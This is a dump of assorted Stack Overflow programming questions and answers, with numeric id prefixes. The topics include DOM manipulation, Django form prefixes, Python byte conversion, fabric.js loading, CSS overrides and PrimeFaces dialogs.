3166759	0	 <pre><code>// Here UL will be the id attribute, not the &lt;ul&gt; element. var UL = document.createElement('ul').id = 'meta-ul'; // this doesn't makes sense... (id.appendChild) UL.appendChild(li1) ; // solution: var UL = document.createElement('ul'); UL.id = 'meta-ul'; </code></pre> <p>And the same goes for Dialog and Tabs. (your li1 and li2 are fine)</p> <p>Oh, and as long as you're not using anything starting with $, you cannot conflict with jQuery.</p>
30197374	0	 <p>Instead of trying to run ij.bat, and feed it commands to run and parse the output, just have your program use the ij class, and its runScript method: <a href="http://db.apache.org/derby/docs/10.11/publishedapi/org/apache/derby/tools/ij.html#runScript-java.sql.Connection-java.io.InputStream-java.lang.String-java.io.OutputStream-java.lang.String-" rel="nofollow">http://db.apache.org/derby/docs/10.11/publishedapi/org/apache/derby/tools/ij.html#runScript-java.sql.Connection-java.io.InputStream-java.lang.String-java.io.OutputStream-java.lang.String-</a></p> <p>Then you don't have to spawn a separate process, but can just keep everything in pure Java in your program itself.</p>
10103473	0	 <p>What about:</p> <pre><code>select std.name ,(select count(1) from STUD_Name) nrofstds from STUD_Name std where std.id='2' </code></pre>
32130351	0	Installing Caliburn.Micro NuGet Package always fails <p>I am attempting to compile the Caliburn.Micro projects from <a href="https://github.com/Caliburn-Micro/Caliburn.Micro" rel="nofollow">GitHub</a> so I can generate the DLL's to use in my own project - a Caliburn.Micro Xamarin Native Android project.</p> <p>I have loaded the Caliburn.Micro.sln (located in the <code>src</code> folder) into Visual Studio 2012 professional and attempted to build the <code>Caliburn.Micro</code> project. I get 40 errors relating to metadata. For example;</p> <pre><code>Error 5 Metadata file '_Tests\Caliburn.Micro-xamarin\Caliburn.Micro-xamarin\bin\net45\Debug\Caliburn.Micro.Platform.dll' could not be found _Tests\Caliburn.Micro-xamarin\Caliburn.Micro-xamarin\src\Caliburn.Micro.Tests.NET45\CSC Caliburn.Micro.Tests.NET45 </code></pre> <p>So I have attempted to install the <code>Caliburn.Micro</code> NuGet package on this project and I get the following errors. I have also created my own new solution and attempted to install the <code>Caliburn.Micro</code> NuGet package and the same error occurs.</p> <p>Any ideas what is going wrong?</p> <pre><code>PM&gt; Install-Package Caliburn.Micro Attempting to resolve dependency 'Caliburn.Micro.Core (= 2.0.2)'. Installing 'Caliburn.Micro.Core 2.0.2'. Successfully installed 'Caliburn.Micro.Core 2.0.2'. Installing 'Caliburn.Micro 2.0.2'. Successfully installed 'Caliburn.Micro 2.0.2'. Adding 'Caliburn.Micro.Core 2.0.2' to Caliburn.Micro. Uninstalling 'Caliburn.Micro.Core 2.0.2'. Successfully uninstalled 'Caliburn.Micro.Core 2.0.2'. Install failed. Rolling back... Install-Package : Specified argument was out of the range of valid values. Parameter name: supportedFrameworks At line:1 char:1 + Install-Package Caliburn.Micro + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Install-Package], ArgumentOutOfRangeException + FullyQualifiedErrorId : NuGetCmdletUnhandledException,NuGet.PowerShell.Commands.InstallPackageCommand </code></pre>
7064737	0	How to select Dev Express's WPF GridControl row? <p>I want to select GridControl's row, after data binding:</p> <blockquote> <ol> <li>Get selected row</li> <li>Bind GridControl with new Data</li> <li>Select GridControl's row</li> </ol> </blockquote> <p>I'm trying so, but with no success:</p> <pre><code>int selectedRowhandle = gridControl1.View.GetSelectedRowHandles()[0]; gridControl1.DataSource = "DataSource..."; gridControl1.View.SelectRow(selectedRowhandle); </code></pre> <p>How can I do this in DevExpress.Xpf.Grid.GridControl?</p> <p>Thanks.</p>
37007006	0	In fabrics JS after stage.loadFromJSON is loaded <p>I have fabrics JS canvas which is loaded from json, like:</p> <pre><code> stage.loadFromJSON( _templateData, stage.renderAll.bind(stage), function( _object, _klass ) { if( _object.type == 'image' ){ _klass.set({ id: 'bgImage'+_get_dynamicOriginalLayerCount(stage), centeredRotation: true, }); _klass.on( 'mousedown', function(){ _destroyOptions(); } ); } else { _klass.id = 'layer'+_get_dynamicOriginalLayerCount(stage); _textStyleMenu( _klass ); _textListener( _klass ); _klass.set({ borderColor: 'rgba(52, 152, 219, .5)', cornerColor: 'rgba(42, 142, 209, .5)', cornerSize: 55, transparentCorners: false }); } } ); html2canvas(original_target, { onrendered: function(original_canvas) { var data = original_canvas.toDataURL(); </code></pre> <p>and I need to read image using html2canvas function. In case if loaded image is big, 5-10 mb, it takes some time(seconds) and toDataURL return very few of data. If there is a way to get event after image is reaaly loaded?</p> <p>I read here <a href="http://fabricjs.com/docs/fabric.Canvas.html" rel="nofollow">http://fabricjs.com/docs/fabric.Canvas.html</a> but did not find how to salve it? fabric 1.5.0.</p>
9701383	0	 <p>Because <code>get()</code> is <strong>method</strong> and must be invoked on instance.</p> <pre><code>new B().get(5); new A().get(1); </code></pre> <p>You call it in <code>static main()</code>, which is class <strong>function</strong>.</p> <pre><code>B.exampleFunction(); </code></pre>
18301024	0	 <p>Have you tried adding the <code>!important</code> tag on each CSS line in order to tell the element to override bootstrap?</p> <p>Something like this:</p> <pre><code>.navbar-override { background-color: #006633 !important; background-image: -moz-linear-gradient(top, #006633, #006633) !important; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#006633), to(#006633)) !important; background-image: -webkit-linear-gradient(top, #006633, #006633) !important; background-image: -o-linear-gradient(top, #006633, #006633) !important; background-image: linear-gradient(to bottom, #006633, #006633) !important; border-color: #006633 !important; filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ff006633', endColorstr='#ff006633', GradientType=0) !important; } </code></pre> <p>Typically not the best way to do this, but I think it should work.</p>
14206730	0	 <pre><code>$("[ref=B]").append($(data).find("[ref=A]")); </code></pre> <p>The way you do it in your question, the last part <code>find( '[ref=A]' )</code> is useless.</p> <p>[Edit] Also, the other question is more than 2 years old. For recent versions of jQuery you might need additional quotes:</p> <pre><code>$("[ref='B']").append($(data).find("[ref='A']")); </code></pre>
3664738	0	 <p>This is an interesting question. For sure I would say start with UIScrollView, and set the content size bigger than the screen size, exactly how big is up to you.</p> <p>Next you'll want to make some kind of implementation that efficiently figures out what cells are on screen. If I were you I would do something similar to how UITableView is done, i.e. make a custom object that keeps track of what indexes should be on screen based on the offset of the scroll view.</p> <p>Next you'll need this custom object to either directly or indirectly get the visible cells to display themselves on screen when they are visible, and remove them from the superview when they aren't. I'd also recommend reusing the views that are offscreen.</p> <p>This is a moderately challenging thing you are trying to make, so be sure you are very organized and don't be scared to make a few new custom object to perform specific tasks. </p> <p>Sample interface file:</p> <pre><code> @protocol doubleTableViewDelegate -(NSInteger)heightForRow:(NSInteger)row; -(NSInteger)widthForCol:(NSInteger)col; -(NSInteger)numberOfRows:(NSInteger)rows; -(NSInteger)numberOfCols:(NSInteger)cols; -(UIView *)cellForRow:(NSInteger)row col:(NSInteger)col; //get the custom table view to store and dequeue these, i.e. store them in an NSSet when they go offscreen, and give them back when a certain function is called. //There's probably a few functions missing here still. @end @interface doubleTableView: UIScrollView { id&lt;doubleTableViewDelegate&gt; infoDelegate; } //your functions to show and remove cells as needed @end </code></pre> <p>You'll need to work out the rest, but keep updating this page and I'll try to help out. Good luck with this, let me know how it goes.</p>
12755256	0	 <p>Not sure if this is what you thought, but maybe you could style that portion of the page and use something like this?</p> <pre><code>@gridColumnWidth: 60px; // example width declared in bootstrap @media only screen and (min-width: 768px) and (max-width: 979px) { .yourClass { max-width: @gridColumnWidth * 2 } } </code></pre>
16410844	0	Multiple matches for syntax highlighting in VIM <p>I'm writing a syntax file to match a log format (basically column based; think syslog for a similar example), and I'm trying to set up a type of inheritance for columns.</p> <p>I have two main goals with this.</p> <p>First, I want to say that column 3 is the "component" field (let's say it's marked by a header; it could also be at a fixed position) and set the background to, say, Grey. I then want to say that component "foo" gets a foreground color of Red, and component "bar" gets a foreground color of Green, but they should inherit the background color of the "component" column. In this case, the field should really have two syntax matches; this also makes it easy to conceal the entire column (a la <a href="http://stackoverflow.com/questions/3853631/toggling-the-concealed-attribute-for-a-syntax-highlight-in-vim">Toggling the concealed attribute for a syntax highlight in VIM</a>)</p> <p>Second, there's a field for levels; I want to set the background of the entire line for a critical level message to Red, but the foreground should be continue to be set via the normal highlighting (component, source, etc; I left off most of the other requirements).</p> <p>From what I can see in the vim documentation, this doesn't seem possible. Am I missing something? Alternatively, can anyone suggest a good workaround?</p> <p>Thanks</p>
32486438	0	 <p>Try <code>git clone origin-url .</code> (with dot)</p> <p>Example:</p> <pre><code>hg clone https://Name@bitbucket.org/mitsuhiko/flask . </code></pre>
1989931	0	Android: Delete app associated files from external storage on Uninstall? <p>It'd be convenient if an application I'm writing stored some files to external storage permanently (so they persist after the application has been exited[destroyed]), but on an uninstall I'd like to do the decent thing and have these files removed to free up the storage.</p> <p>Is there any way I can have these files removed on an uninstall?</p> <p>If there isn't (and I'm skeptical), then I'll have to create these files each time. I'm trying to save start-up time and also occupy required space by having them exist permanently.</p> <p>Note: I need to use external storage, so both internal storage or a DB would be inappropriate.</p>
1712496	0	 <p>In the DrScheme IDE this can be found under the "Scheme -> Create Executable..." menu item. This can also be done from the command line with:</p> <pre><code>mzc --exe foo foo.ss </code></pre>
6804386	0	RMagick: Setting opacity on a png that already has transparent elements <p>I need to compose images in rmagick. If I put a png that has transparent regions on another image and set the opacity of that png to 50% the parts that where transparent become white (with 50% opacity). But I want these regions to stay transparent.</p> <p>Here's my code:</p> <pre><code>canvas = Magick::Image.new(1024,768) canvas.opacity = Magick::MaxRGB image = Magick::ImageList.new('/tmp/trans.png').first image.background_color = "none" image.opacity = Magick::MaxRGB/2 canvas.composite!(image, 50, 50, Magick::OverCompositeOp) canvas.write('/tmp/composite.png') </code></pre> <p>Any suggestions?</p>
8559650	0	 <p>You could do a very nasty <code>for</code> loop where you search for the <code>,</code> values and then compare from the start of 1 <code>,</code> to the next. You could use <code>SubString()</code> and <code>IndexOf()</code> to achieve this, but this isn't very performant nor elegant.</p>
40069199	1	Convert str bytes to bytes <p>I have a bluetooth controller which returns the data of a event in <code>received_data</code> where the 3 &amp; 4 byte together are a 16 bit signed little-endian int value. </p> <p>With python2 where a str is also a byte I just exctract it with <code>struct.unpact</code></p> <pre><code>rotation_value = struct.unpack("&lt;h", received_data[3] + received_data[4])[0] </code></pre> <p>This doesn't work with python3 because str and byte are not the same thing</p> <pre><code>rotation_value = struct.unpack("&lt;h", received_data[3] + received_data[4])[0] TypeError: 'str' does not support the buffer interface </code></pre> <p>So my approach was to just convert the str to bytes.</p> <p>here are things I tried</p> <pre><code>print((received_data[3]+received_data[3]).encode('utf_16_le')) print(received_data[3].encode('ISO-8859-1') + received_data[4].encode('ISO-8859-1')) print(int.from_bytes(bytes([ord(c) for c in (received_data[3]+received_data[3])]), byteorder='little', signed=True)) print(struct.unpack("&lt;h", bytearray(received_data[3] + received_data[4], 'cp1252'))[0]) </code></pre> <p>But no matter how I do it I have allays error messages like these:</p> <pre><code>UnicodeDecodeError: 'utf-8' codec can't decode byte 0xef in position 3: invalid continuation byte </code></pre> <p>As <a href="http://stackoverflow.com/users/4014959/pm-2ring">@PM 2Ring</a> proposed to use latin1</p> <pre><code>print(received_data[3].encode('latin1')) </code></pre> <p>Which didn't work </p> <pre><code>UnicodeDecodeError: 'utf-8' codec can't decode byte 0xca in position 3: invalid continuation byte UnicodeDecodeError: 'utf-8' codec can't decode byte 0xb6 in position 3: invalid start byte </code></pre> <p>So what exactly is the correct way to convert these fake str in bytes, preferably a solution which works on python2 &amp; 3. </p>
9847208	0	Class Design C# Casting <p>Let's say I have a program to write text into a file (not really but that's easier to explain). I want a seperate class for each filetype like PdfType and WordType that inherit from a FileTypeMaster.</p> <pre><code>FileTypeMaster (base) -PdfType : FileTypeMaster -WordType : FileTypeMaster (same methods as pdftype but works different) </code></pre> <p>Now to the real problem... I want the user to decide on programstart what type to use. If he wants Pdf OR Word the methodcall should look the same (because word is new and the program was just for pdf before).</p> <p>How it should work for example with pdf:</p> <pre><code>static FileTypeMaster MyFavoriteType; //declare a general var MyFavoriteType = new PdfType(); //cast general var to the wanted type MyFavoriteType.CompileThis(); </code></pre> <p>How it should work with word: the same but MyFavoriteType = new WordType();`</p>
30083314	0	 <p>I do not know how many records you have in each table. If they it is a relatively small number you may be better finding a way of holding them in memory rather than querying each time.</p>
25091139	0	Concave Curve With only CSS,A Compound Shapes in CSS <p>I have a CSS student and she is taking a CSS class, and her teacher asked her to create a shape using only CSS codes,without any implementation of an Image.</p> <p>the shape is a Concave Curve, is this possible?</p> <p>the shape looks like this:</p> <p><img src="https://i.stack.imgur.com/WhXKT.png" alt="enter image description here"></p> <p>Actually I wonder about the Power of CSS3 at this point,because I have read somewhere that is not possible to create a concave curve or other complex rounded shapes in CSS,and I appreciate <a href="http://stackoverflow.com/users/361755/imsky">imsky</a> answer,but it's based on absolute positioning but,I need to know that is it possible to create such a shape without using positioning?</p> <p><a href="http://css-tricks.com/well-rounded-compound-shapes-css/" rel="nofollow noreferrer">This article</a> is about to show the creation of this kind of rounded shape using CSS,but it's not exactly the same shape,but it's useful for peoples whom interested. </p>
25315581	0	 <p>Are you sure you aren't calling from twice? Also a day path needs to be the argument to groupBy, not the full alias expression.</p>
40193273	0	 <p>Can you try with something like this:</p> <pre><code>addListeners(player) { player.socket.on('disconnect', this.playerLeave.bind(this)); } playerLeave (socket) {...} </code></pre>
7718532	0	Adaptively render views in Ruby on Rails <p>In a RoR app, I have all partial views and a single layout page. If the request is ajax, I want to return only the partially rendered html, otherwise I want to return the fully rendered html page. </p> <p>What is the most efficient way to do this in RoR? I would prefer to do this at the application level rather than in every single controller action.</p>
22666494	0	 <p>You probably missed the quotes:</p> <pre><code>$result = $DATABASE-&gt;rawQuery("SHOW TABLES LIKE '" . $TABLE . "'"); </code></pre>
18385021	0	Django ModelForm with prefix <p>I have a template with 2 forms. I would like to use "prefix" parameter to have different id in my rendered template like that :</p> <p>My first form :</p> <pre><code>&lt;input id="id_folder-name" maxlength="75" name="folder-name" type="text" /&gt; </code></pre> <p>My second form :</p> <pre><code>&lt;input id="id_file-name" maxlength="75" name="file-name" type="text" /&gt; </code></pre> <p>I my view, I instantiate forms :</p> <pre><code>self.form_class(prefix="folder") self.form_class_upload(prefix="file") </code></pre> <p>but it doesn't work, see console log :</p> <pre><code>[23/Aug/2013 11:15:57] "GET /sample/ HTTP/1.1" 200 1037 invalid &lt;tr&gt;&lt;th&gt;&lt;label for="id_name"&gt;Name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;ul class="errorlist"&gt;&lt;li&gt;This field is required.&lt;/li&gt;&lt;/ul&gt;&lt;input id="id_name" maxlength="75" name="name" type="text" /&gt;&lt;/td&gt;&lt;/tr&gt; [23/Aug/2013 11:16:50] "POST /sample/new-folder/ HTTP/1.1" 200 634 </code></pre> <p>So it doesn't call my form_valid method...</p> <p>I don't understand why Django doesn't consider 'prefix' parameter for validation form.</p> <p>models.py:</p> <pre><code>from django.db import models class Inode(models.Model): name = models.CharField(max_length=75) file = models.FileField(upload_to="files", null=True) def __unicode__(self): return self.name </code></pre> <p>forms.py :</p> <pre><code>from django import forms from .models import Inode class FileUploadForm(forms.ModelForm): class Meta: model = Inode fields = ['name', 'file'] class NewFolderForm(forms.ModelForm): class Meta: model = Inode fields = ['name'] </code></pre> <p>views.py :</p> <pre><code>from django.views.generic import TemplateView from django.views.generic.edit import FormView from .forms import FileUploadForm, NewFolderForm from .models import Inode class MainView(TemplateView): template_name = "sample/browser.html" form_class = NewFolderForm form_class_upload = FileUploadForm def get_context_data(self, **kwargs): context = super(MainView, self).get_context_data(**kwargs) context['form_new_folder'] = self.form_class(prefix="folder") context['form_upload'] = self.form_class_upload(prefix="file") context["inodes"] = [i for i in Inode.objects.all()] return context class NewFolderView(FormView): template_name = "sample/browser.html" form_class = NewFolderForm success_url = "/sample" def form_invalid(self, form): invalid = super(NewFolderView, self).form_invalid(form) print "invalid" print form return invalid def form_valid(self, form): isvalid = super(NewFolderView, self).form_valid(form) print "valid" return isvalid </code></pre> <p>template :</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang='fr' xml:lang='fr'&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;title&gt;sample&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form method="post" action="{% url 'sample-new-folder' %}"&gt; {% csrf_token %} {{form_new_folder}} &lt;input type="submit" value="Valider"/&gt; &lt;/form&gt; &lt;form method="post" action="{% url 'sample-upload' %}"&gt; {% csrf_token %} {{form_upload}} &lt;input type="submit" value="Valider"/&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>rendered template :</p> <pre><code>&lt;html lang='fr' xml:lang='fr'&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;title&gt;sample&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form method="post" action="/sample/new-folder/"&gt; &lt;input type='hidden' name='csrfmiddlewaretoken' value='btopdI8WyHgqG2ZSTG81yhmaDa9Rk7Is' /&gt; &lt;tr&gt;&lt;th&gt;&lt;label for="id_folder-name"&gt;Name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_folder-name" maxlength="75" name="folder-name" type="text" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;input type="submit" value="Valider"/&gt; &lt;/form&gt; &lt;form method="post" action="/sample/upload/"&gt; &lt;input type='hidden' name='csrfmiddlewaretoken' value='btopdI8WyHgqG2ZSTG81yhmaDa9Rk7Is' /&gt; &lt;tr&gt;&lt;th&gt;&lt;label for="id_file-name"&gt;Name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_file-name" maxlength="75" name="file-name" type="text" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;&lt;label for="id_file-file"&gt;File:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_file-file" name="file-file" type="file" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;input type="submit" value="Valider"/&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
33503436	0	jQuery Frame Breaker by Array of Domains <p>Using jQuery and an array of domains, I would like to create a frame breaker. I'd like to evaluate the top frame domain and if it's one of the domains in the array, then break it.</p> <pre><code>var domains = ["zoot.li", "domain.com"]; if ( jQuery.inArray( top.location.host, domains ) &gt; -1 ) { top.location.href = document.location.href ; } </code></pre> <p>It doesn't appear to be working, though. Any ideas?</p>
39181653	0	AutoCompleteDecorator.decorate(combobox); is not working perfectly in JTable <p>I'm using A <code>JCombobox</code> with <code>editable = true</code> in a <code>JPanel</code> and using a <code>JTable</code> in the same panel with a column that is set to show combobox as its field type. I applied</p> <pre><code> AutoCompleteDecorator.decorate(cb); </code></pre> <p>to <code>JCombobox</code> that is outside the <code>JTable</code> and its working perfectly <strong>But</strong> when I applied the same line of code to combobox within jtable which selects the first occurrence of the data that match the key typed.</p> <p>How can I resolve this issue. Any Suggestion ?</p> <p>Look at the image below in which the exact item is selected that I typed.</p> <p><a href="https://i.stack.imgur.com/whrTQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/whrTQ.png" alt="enter image description here"></a></p> <p>And this is the image of combobox within <code>JTable</code>.</p> <p><a href="https://i.stack.imgur.com/NIUXn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NIUXn.png" alt="enter image description here"></a></p> <p>When I press <kbd> w </kbd> key it select the first occurrence <code>windy</code> and set it in the cell.</p>
37531795	0	 <p>The format of the value you are passing into the constructor of the <code>MediaTypeHeaderValue</code> is invalid. You are also trying to add multiple content types to the header value. </p> <p>Content type header takes a single type/subtype, followed by optional parameters separated with semi-colons <code>;</code> </p> <p>eg:</p> <pre><code>Content-Type: text/html; charset=ISO-8859-4 </code></pre> <p>For your result you need to decide on which one you want to use. <code>application/zip</code> or <code>application/octet-stream</code></p> <pre><code>result.Content.Headers.ContentType = new MediaTypeHeaderValue("application/zip"); </code></pre> <p>Also, to avoid exception you can use the <code>MediaTypeHeaderValue.TryParse</code> method</p> <pre><code>var contentTypeString = "application/zip"; MediaTypeHeaderValue contentType = null; if(MediaTypeHeaderValue.TryParse(contentTypeString, out contentType)) { result.Content.Headers.ContentType = contentType; } </code></pre>
37581970	0	 <p>A solution is to replot the line on top of the scatter:</p> <pre><code>df = pd.DataFrame([[1,2],[10,20]]) ax = df.plot.scatter(x=0, y=1, style='b') df.plot.line(x=0, y=1, ax=ax, style='b') </code></pre> <p>In this case, forcing points and lines both to be blue.</p> <p>If you don't need the properties of the scatter plot such as value dependent colours and sizes, just use a line plot with circles for the points:</p> <pre><code>df.plot.line(x=0, y=1, style='-o') </code></pre>
31625171	0	 <p>It isn't a server side issue, every smartphone can apply a different orientation to the camera images. When you receive the image you have to access to its metadata (exif data si the exact name) to verify its rotation and other properties. Then you should apply to the picture the transformations you need.</p> <p>This should be a good startpoint to read exif data with PHP: <a href="http://php.net/manual/en/function.exif-read-data.php" rel="nofollow">http://php.net/manual/en/function.exif-read-data.php</a></p>
1359586	0	 <p>You are on the right track this is indeed accomplished using ajax. Since you used the term postback I assume you are using asp.net webforms. There is a accompanying library asp.net ajax which you can find more about at <a href="http://www.asp.net/ajax/" rel="nofollow noreferrer">http://www.asp.net/ajax/</a> you can start learning how to use it at <a href="http://www.asp.net/learn/ajax/tutorial-01-cs.aspx" rel="nofollow noreferrer">http://www.asp.net/learn/ajax/tutorial-01-cs.aspx</a></p> <p>just like webforms is a abstraction of http so is asp.net ajax to ajax. Although it certainly makes some things easier it can also make other things not envisioned by the authors harder then they need to be. For more advanced ussages you might want to check out jquery at <a href="http://jquery.com/" rel="nofollow noreferrer">http://jquery.com/</a> which goes together great with asp.net MVC. There are also allot more information, samples and libraries in the public domain for jquery then for asp.net ajax. But asp.net ajax should get you on your way fastest if you already have a webforms codebase.</p>
28755626	0	 <p>If your intention is to automate the actions for testing of your web from an Android app, try <a href="https://github.com/calabash/calabash-android/" rel="nofollow">calabash-android</a>, it's like Selenium for Android.</p> <p>Calabash-android supports <code>WebView</code> manipulation, in your case entering text as well.</p> <blockquote> <p>You can use the enter_text method to enter text in a webview (in addition to any other android widget).</p> <p><code>enter_text("webView css:'input.login'", "run")</code></p> <p>This will enter the text "run" into the first input field of the class 'login'.</p> </blockquote> <p>Source: <a href="https://github.com/calabash/calabash-android/wiki/06-webview-support" rel="nofollow">https://github.com/calabash/calabash-android/wiki/06-webview-support</a></p>
39229331	0	Error in PDF Export Options in Angular DataTable <p>While Exporting PDF The Columns are overlapping from 4th Column.The Other Options(copy,excel,print) are Working Fine. I got Like this.</p> <p><a href="https://i.stack.imgur.com/nmPV1.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/nmPV1.jpg" alt="enter image description here"></a></p> <p>(I ve erased the original details in the Screen Shot)</p> <p>This is My Snippet</p> <pre><code> extend:'pdf', title: 'My Title', orientation: 'landscape', pageSize: 'A4', text: 'PDF', exportOptions: { columns: [0,1,2,3,4,5,6,7,....] } </code></pre>
8031814	0	 <p>Correct...summing the element-wise products will be quicker:</p> <pre><code>n = 1000 A = randn(n); B = randn(n); tic sum(sum(A .* B)); toc tic sum(diag(A * B')); toc </code></pre> <pre class="lang-or-tag-here prettyprint-override"><code>Elapsed time is 0.010015 seconds. Elapsed time is 0.130514 seconds. </code></pre>
12760579	0	 <p>There is a feature called 'collection merging' that does exactly this. See section 3.3.3.4.1. "Collection merging" in the <a href="http://static.springsource.org/spring/docs/3.0.x/reference/beans.html" rel="nofollow">Spring documentation</a> or the <a href="http://greybeardedgeek.net/2008/04/23/spring-collection-merging/" rel="nofollow">2008 blog post (with an example) that I wrote on the subject</a>.</p>
11847697	0	 <p>What is the logic that you want?</p> <p>Let me guess that you want Mexicans with more than 3 children, Americans with 2, and Japanese with 1. In this case, you would something like:</p> <pre><code>having (case when count(nationality = 'Mexican' then children end) &gt; 3 then 'true' when count(nationality = 'American' then children end) = 2 then 'true' when count(nationality = 'Japanese' then children end) = 1 then 'true' end) = 'true' </code></pre> <p>However, even this seems strange. Why are you counting "children". What are you grouping on? If children is just a field in the data, then this should be a WHERE clause instead of a HAVING clause:</p> <pre><code>where (nationality = 'Mexican' and children end &gt; 3) or (nationality = 'American' and children = 2) or (nationality = 'Japanese' and children = 1) </code></pre>
17024054	0	 <p>Use the <code>New Class</code> as normal but then specify your abstract class as the <code>Superclass</code>. Then check <code>Which methods stubs would you like to create</code> -> <code>inherited abstract methods</code></p>
36267287	0	 <p>Implicit sharing in Qt follows the CoW (copy on write) paradigm - objects will implicitly share the same internal resource as long as it is not modified, if some of the copies attempts to modify the resource, it will be "detached" from the shared resource, copy it and apply the modifications to it. </p> <p>When object lifetime ends, it decrements the reference counter for the shared resource, and if it is zero that means no other object uses it, so it is deleted. If the reference count is more than zero, the resource remains alive until there are objects, referencing it.</p> <p>In case 1 the shared resource will be deleted, as there are no more objects referencing it.</p> <p>In case 2 it will be deleted as well, because <code>aImg</code> will be out of scope by the time <code>tImg</code> is deleted.</p>
16958349	1	What's the scope for Gmail's OAuth2 IMAP access? <p>I'm using <a href="http://code.google.com/p/google-api-python-client/" rel="nofollow">google-api-python-client</a> and <a href="https://bitbucket.org/mjs0/imapclient" rel="nofollow">imapclient</a> libraries to try get IMAP access to Gmail.</p> <p>When going through the authentication flow, I'm getting "invalid scope" errors. I've tried both <code>https://mail.google.com</code> and <code>https://mail.google.com/mail/feed/atom</code> as scopes.</p> <p>Here's what I'm trying to do:</p> <pre><code>from oauth2client.appengine import OAuth2Decorator SCOPE = "https://mail.google.com" # SCOPE = "https://mail.google.com/mail/feed/atom" oauth2decorator_gmail = OAuth2Decorator(client_id="CLIENT_ID", client_secret="CLIENT_SECRET", scope=SCOPE, callback_path='/mycallbackurl') class AuthenticateSyncServices(webapp2.RequestHandler): @oauth2decorator_gmail.oauth_required def get(self): self.response.write("Authenticated") </code></pre> <p>And here's the stacktrace:</p> <pre><code>INFO 2013-06-06 08:56:36,686 client.py:1304] Failed to retrieve access token: { "error" : "invalid_scope" } Traceback (most recent call last): File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/lib/webapp2-2.5.1/webapp2.py", line 1536, in __call__ rv = self.handle_exception(request, response, e) File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/lib/webapp2-2.5.1/webapp2.py", line 1530, in __call__ rv = self.router.dispatch(request, response) File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/lib/webapp2-2.5.1/webapp2.py", line 1278, in default_dispatcher return route.handler_adapter(request, response) File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/lib/webapp2-2.5.1/webapp2.py", line 1102, in __call__ return handler.dispatch() File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/lib/webapp2-2.5.1/webapp2.py", line 572, in dispatch return self.handle_exception(e, self.app.debug) File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/lib/webapp2-2.5.1/webapp2.py", line 570, in dispatch return method(*args, **kwargs) File "/Applications/GoogleAppEngineLauncher.app/Contents/Resources/GoogleAppEngine-default.bundle/Contents/Resources/google_appengine/google/appengine/ext/webapp/util.py", line 68, in check_login handler_method(self, *args) File "/Users/John/Projects/my-app/backend/oauth2client/appengine.py", line 787, in get credentials = decorator.flow.step2_exchange(self.request.params) File "/Users/John/Projects/my-app/backend/oauth2client/util.py", line 128, in positional_wrapper return wrapped(*args, **kwargs) File "/Users/John/Projects/my-app/backend/oauth2client/client.py", line 1310, in step2_exchange raise FlowExchangeError(error_msg) FlowExchangeError: invalid_scope </code></pre>
20792798	0	Show dialog when the input data is validated <p:confirmDialog> <p>For my school project I have to realize a mini website where I use primefaces framework. In a form I want after pressing the Save button two things: 1 - Validate the data entered. that's why I put</p> <pre><code>&lt;p:message for="date" /&gt; and &lt;p:message for="zone" /&gt; </code></pre> <p>As the values ​​are not correct, the dialog box should not be displayed. 2 - When all data is correct, and I click Save, I want to display my dialog box.</p> <p>Now I can not. Can you help me? I use version 4 primefaces.</p> <pre><code>&lt;h:form&gt; &lt;p:panel id="panel" header="Create" style="margin-bottom:10px;border-color:blueviolet" &gt; &lt;p:messages id="messages" /&gt; &lt;h:panelGrid columns="3"&gt; &lt;h:outputLabel for="date" value="Date : *" /&gt; &lt;p:calendar locale="fr" id="date" value="#{newBusinessCtrl.exercice.debut}" required="true" label="date" showButtonPanel="true"/&gt; &lt;p:message for="date" /&gt; &lt;h:outputLabel for="zone" value="Zone Monétaire: *" /&gt; &lt;p:selectOneMenu id="zone" value="#{newBusinessCtrl.exercice.zoneChoice}" &gt; &lt;f:selectItem itemLabel="Choice " itemValue="" /&gt; &lt;f:selectItems value="#{newBusinessCtrl.exercice.zones}" var="azone" itemLabel="#{azone}" itemValue="#{azone}" &gt; &lt;/f:selectItems&gt; &lt;p:message for="zone" /&gt; &lt;/p:selectOneMenu&gt; &lt;p:message for="zone" /&gt; &lt;/h:panelGrid&gt; &lt;/p:panel&gt; &lt;p:commandButton update="panel" value="Save" icon="ui-icon-check" style="color:blueviolet" onclick="choice.show()"/&gt; &lt;p:confirmDialog message="Would you like to create accounts automatically ?" header="Account creation" severity="alert" widgetVar="choice" appendTo="@(body)"&gt; &lt;p:button outcome="personalizeAccount" value="Personalize" icon="ui-icon-star" /&gt; &lt;p:button outcome="autoAccount" value="Continue" icon="ui-icon-star" /&gt; 